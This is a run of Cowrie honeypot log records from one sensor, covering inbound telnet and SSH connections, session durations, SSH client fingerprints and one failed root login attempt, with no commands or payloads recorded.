{"eventid":"cowrie.session.closed","duration":50.39265775680542,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:27.145578Z","src_ip":"192.119.13.58","session":"2e6974fe77c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":42732,"dst_ip":"159.203.135.109","dst_port":22,"session":"e16238a868ff","protocol":"ssh","message":"New connection: 109.172.54.111:42732 (159.203.135.109:22) [session: e16238a868ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:27.311223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:27.323822Z","src_ip":"109.172.54.111","session":"e16238a868ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55694,"dst_ip":"10.17.0.5","dst_port":23,"session":"d83cda5f7595","protocol":"telnet","message":"New connection: 192.119.13.58:55694 (10.17.0.5:23) [session: d83cda5f7595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:27.398242Z"}
{"eventid":"cowrie.session.closed","duration":0.005610466003417969,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:27.403737Z","src_ip":"192.119.13.58","session":"d83cda5f7595","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:27.428505Z","src_ip":"109.172.54.111","session":"e16238a868ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:27.717003Z","src_ip":"213.209.159.56","session":"1f2dd963c0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123rty","message":"login attempt [root/qwe123rty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:27.875428Z","src_ip":"109.172.54.111","session":"e16238a868ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.078651666641235,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:28.913507Z","src_ip":"192.119.13.58","session":"fa81e302373a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:28.983045Z","src_ip":"109.172.54.111","session":"e16238a868ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46322,"dst_ip":"10.17.0.5","dst_port":23,"session":"1378985954ca","protocol":"telnet","message":"New connection: 192.119.13.58:46322 (10.17.0.5:23) [session: 1378985954ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:32.030113Z"}
{"eventid":"cowrie.session.closed","duration":48.43538784980774,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:33.046741Z","src_ip":"192.119.13.58","session":"692c279025a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39516,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d56d8ac2779","protocol":"telnet","message":"New connection: 192.119.13.58:39516 (10.17.0.5:23) [session: 1d56d8ac2779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:37.093466Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40266,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f25fc552415","protocol":"telnet","message":"New connection: 192.119.13.58:40266 (10.17.0.5:23) [session: 4f25fc552415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:37.287169Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41816,"dst_ip":"10.17.0.5","dst_port":23,"session":"529e47d3f6a6","protocol":"telnet","message":"New connection: 192.119.13.58:41816 (10.17.0.5:23) [session: 529e47d3f6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:37.697132Z"}
{"eventid":"cowrie.session.closed","duration":40.35169267654419,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:39.319441Z","src_ip":"192.119.13.58","session":"61b4b89006cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50970,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1436d639e91","protocol":"telnet","message":"New connection: 192.119.13.58:50970 (10.17.0.5:23) [session: e1436d639e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:39.839130Z"}
{"eventid":"cowrie.session.closed","duration":39.27730870246887,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:42.144892Z","src_ip":"192.119.13.58","session":"1c460f75f04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33748,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b55de31c8e4","protocol":"telnet","message":"New connection: 192.119.13.58:33748 (10.17.0.5:23) [session: 3b55de31c8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:42.744827Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37540,"dst_ip":"10.17.0.5","dst_port":23,"session":"be7a9d8bf5ab","protocol":"telnet","message":"New connection: 192.119.13.58:37540 (10.17.0.5:23) [session: be7a9d8bf5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:43.707905Z"}
{"eventid":"cowrie.session.closed","duration":33.99084401130676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:43.766037Z","src_ip":"192.119.13.58","session":"e78d8f94490e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39792,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad2f98e1be31","protocol":"telnet","message":"New connection: 192.119.13.58:39792 (10.17.0.5:23) [session: ad2f98e1be31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:44.314042Z"}
{"eventid":"cowrie.session.closed","duration":39.79528212547302,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:44.391793Z","src_ip":"192.119.13.58","session":"71fef36f4b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.430848598480225,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:54.523468Z","src_ip":"192.119.13.58","session":"c535c5d6cbae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9eeff4b2e93","protocol":"telnet","message":"New connection: 192.119.13.58:44884 (10.17.0.5:23) [session: d9eeff4b2e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:58.854500Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46018,"dst_ip":"10.17.0.5","dst_port":23,"session":"98cbfaf808f3","protocol":"telnet","message":"New connection: 192.119.13.58:46018 (10.17.0.5:23) [session: 98cbfaf808f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:59.147987Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43914,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eaf9fdbeb0c","protocol":"telnet","message":"New connection: 192.119.13.58:43914 (10.17.0.5:23) [session: 7eaf9fdbeb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:54:59.635044Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50720,"dst_ip":"10.17.0.5","dst_port":23,"session":"01b473ecfaaf","protocol":"telnet","message":"New connection: 192.119.13.58:50720 (10.17.0.5:23) [session: 01b473ecfaaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:00.172742Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55884,"dst_ip":"10.17.0.5","dst_port":23,"session":"be248b38086e","protocol":"telnet","message":"New connection: 192.119.13.58:55884 (10.17.0.5:23) [session: be248b38086e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:01.344058Z"}
{"eventid":"cowrie.session.closed","duration":39.1053900718689,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:02.070751Z","src_ip":"192.119.13.58","session":"c3180b72cd93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37776,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ea34c085e70","protocol":"telnet","message":"New connection: 192.119.13.58:37776 (10.17.0.5:23) [session: 4ea34c085e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:03.744752Z"}
{"eventid":"cowrie.session.closed","duration":40.17982339859009,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:05.872426Z","src_ip":"192.119.13.58","session":"c6feebc42490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48304,"dst_ip":"10.17.0.5","dst_port":23,"session":"71d765eaa385","protocol":"telnet","message":"New connection: 192.119.13.58:48304 (10.17.0.5:23) [session: 71d765eaa385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:06.142383Z"}
{"eventid":"cowrie.session.closed","duration":44.7411835193634,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:09.102399Z","src_ip":"192.119.13.58","session":"9a9cdb0b2b50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.15653419494629,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:09.186541Z","src_ip":"192.119.13.58","session":"1378985954ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9614520072937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:09.248502Z","src_ip":"192.119.13.58","session":"4f25fc552415","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":50328,"dst_ip":"10.17.0.5","dst_port":22,"session":"23c51d0aad56","protocol":"ssh","message":"New connection: 45.78.204.254:50328 (10.17.0.5:22) [session: 23c51d0aad56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:12.546217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:12.553058Z","src_ip":"45.78.204.254","session":"23c51d0aad56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:12.832688Z","src_ip":"45.78.204.254","session":"23c51d0aad56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.557077169418335,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:13.396078Z","src_ip":"192.119.13.58","session":"e1436d639e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:13.407082Z","src_ip":"45.78.204.254","session":"23c51d0aad56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58344,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe8a5e967e9","protocol":"telnet","message":"New connection: 192.119.13.58:58344 (10.17.0.5:23) [session: abe8a5e967e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:15.241874Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58952,"dst_ip":"10.17.0.5","dst_port":23,"session":"797c8a67919d","protocol":"telnet","message":"New connection: 192.119.13.58:58952 (10.17.0.5:23) [session: 797c8a67919d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:15.382026Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34010,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b688d9f6b49","protocol":"telnet","message":"New connection: 192.119.13.58:34010 (10.17.0.5:23) [session: 5b688d9f6b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:16.200118Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44974,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dfb44b8f3a5","protocol":"telnet","message":"New connection: 192.119.13.58:44974 (10.17.0.5:23) [session: 5dfb44b8f3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:18.891459Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45160,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1343749c277","protocol":"telnet","message":"New connection: 192.119.13.58:45160 (10.17.0.5:23) [session: d1343749c277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:18.935124Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46962,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe6024ab507","protocol":"telnet","message":"New connection: 192.119.13.58:46962 (10.17.0.5:23) [session: bfe6024ab507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:19.395468Z"}
{"eventid":"cowrie.session.closed","duration":36.96107816696167,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:19.705779Z","src_ip":"192.119.13.58","session":"3b55de31c8e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56720,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc369eb23452","protocol":"telnet","message":"New connection: 192.119.13.58:56720 (10.17.0.5:23) [session: bc369eb23452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:21.764691Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57794,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd139f1e673","protocol":"telnet","message":"New connection: 192.119.13.58:57794 (10.17.0.5:23) [session: 3fd139f1e673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:22.020878Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58652,"dst_ip":"10.17.0.5","dst_port":23,"session":"8549c3613f07","protocol":"telnet","message":"New connection: 192.119.13.58:58652 (10.17.0.5:23) [session: 8549c3613f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:22.250893Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59904,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f959ab4ae37","protocol":"telnet","message":"New connection: 192.119.13.58:59904 (10.17.0.5:23) [session: 0f959ab4ae37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:22.589318Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60000,"dst_ip":"10.17.0.5","dst_port":23,"session":"df2a6bb0eaca","protocol":"telnet","message":"New connection: 192.119.13.58:60000 (10.17.0.5:23) [session: df2a6bb0eaca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:22.618291Z"}
{"eventid":"cowrie.session.closed","duration":0.005851030349731445,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:22.624004Z","src_ip":"192.119.13.58","session":"df2a6bb0eaca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34056,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fd0250ccdd7","protocol":"telnet","message":"New connection: 192.119.13.58:34056 (10.17.0.5:23) [session: 8fd0250ccdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:23.182389Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37564,"dst_ip":"10.17.0.5","dst_port":23,"session":"651e5dcecc75","protocol":"telnet","message":"New connection: 192.119.13.58:37564 (10.17.0.5:23) [session: 651e5dcecc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:24.139374Z"}
{"eventid":"cowrie.session.closed","duration":49.33928060531616,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:27.036277Z","src_ip":"192.119.13.58","session":"529e47d3f6a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.964945554733276,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:27.278859Z","src_ip":"192.119.13.58","session":"ad2f98e1be31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.525970458984375,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:27.619309Z","src_ip":"192.119.13.58","session":"1d56d8ac2779","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.471006870269775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:30.105922Z","src_ip":"192.119.13.58","session":"7eaf9fdbeb0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.47374415397644,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:34.181550Z","src_ip":"192.119.13.58","session":"be7a9d8bf5ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58656,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dd2ebb4f352","protocol":"telnet","message":"New connection: 192.119.13.58:58656 (10.17.0.5:23) [session: 4dd2ebb4f352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:36.031209Z"}
{"eventid":"cowrie.session.closed","duration":39.86550951004028,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:38.719861Z","src_ip":"192.119.13.58","session":"d9eeff4b2e93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47686,"dst_ip":"10.17.0.5","dst_port":22,"session":"32540301377f","protocol":"ssh","message":"New connection: 193.32.162.145:47686 (10.17.0.5:22) [session: 32540301377f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:39.034475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:39.038889Z","src_ip":"193.32.162.145","session":"32540301377f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:39.159756Z","src_ip":"193.32.162.145","session":"32540301377f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59568,"dst_ip":"10.17.0.5","dst_port":22,"session":"770d94ad47cd","protocol":"ssh","message":"New connection: 167.172.81.52:59568 (10.17.0.5:22) [session: 770d94ad47cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:39.543841Z"}
